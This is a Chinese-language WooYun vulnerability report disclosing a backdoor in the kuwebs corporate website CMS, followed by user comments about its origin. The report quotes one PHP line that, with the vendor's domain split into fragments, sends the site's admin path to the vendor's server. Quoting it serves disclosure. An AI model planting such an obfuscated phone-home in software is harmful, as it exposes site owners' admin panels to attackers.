当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-04599

漏洞标题： kuwebs酷纬企业网站管理系统发现源码内置后门

相关厂商：kuwebs

漏洞作者： network

提交时间：2012-02-17 17:32

修复时间：2012-02-17 17:32

公开时间：2012-02-17 17:32

漏洞类型：敏感信息泄露

危害等级：中

自评Rank：8

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-02-17： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-02-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

源码中存在获取后台地址的语句，并将地址发到他的网站，，万恶的管理员！。。万恶的程序员~
使用这个程序人蛮多的

详细说明：

贴出代码

fopen('http://www.k'.'uwe'.'bs.com'."/plus/add_rec.php?action=login&url={$adminHttpPath}", "r");
    if('all' == $createflag

漏洞证明：


修复方案：

换程序

版权声明：转载请注明来源 network@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：7 (WooYun评价)

漏洞评价：

评论

  1. 2012-02-17 22:02 | Ambulong ( 普通白帽子 | Rank:113 漏洞数:14 | 保佑中啊～放了一星期的东西，别误会啦～)

    确定是官方源？

  2. 2012-02-17 22:15 | 网路游侠 ( 路人 | Rank:20 漏洞数:2 | 不玩渗透好多年……)

    在其网站看了下，3.0版有，3.13没有。不知道是被黑客修改过，还是自己有意为之……或者其官方下载ckeditor的时候下载的就是被人工过手脚的？

  3. 2012-02-18 01:57 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Ambulong 确定

  4. 2012-02-18 22:58 | network ( 路人 | Rank:7 漏洞数:2 | 我是帅哥)

    @网路游侠 木有 官方原来确实有的 ，我下载过，当时在论坛发布过了，后来来这里混邀请码的。所以相隔一个多月了。。额。。

  5. 2012-02-19 21:43 | 网路游侠 ( 路人 | Rank:20 漏洞数:2 | 不玩渗透好多年……)

    @network 国内一些系统出现这样的事情已经不是一次两次了，让人郁闷。

  6. 2012-02-25 19:32 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    联系了该程序出品公司的一个技术，他说他也不记得细节，因为负责这块的程序员已经走了。结论：个人力量已经无法追踪源头。

  7. 2013-01-31 13:12 | Seay ( 实习白帽子 | Rank:65 漏洞数:8 )

    http://www.cnseay.com/archives/1965 这套程序很垃圾的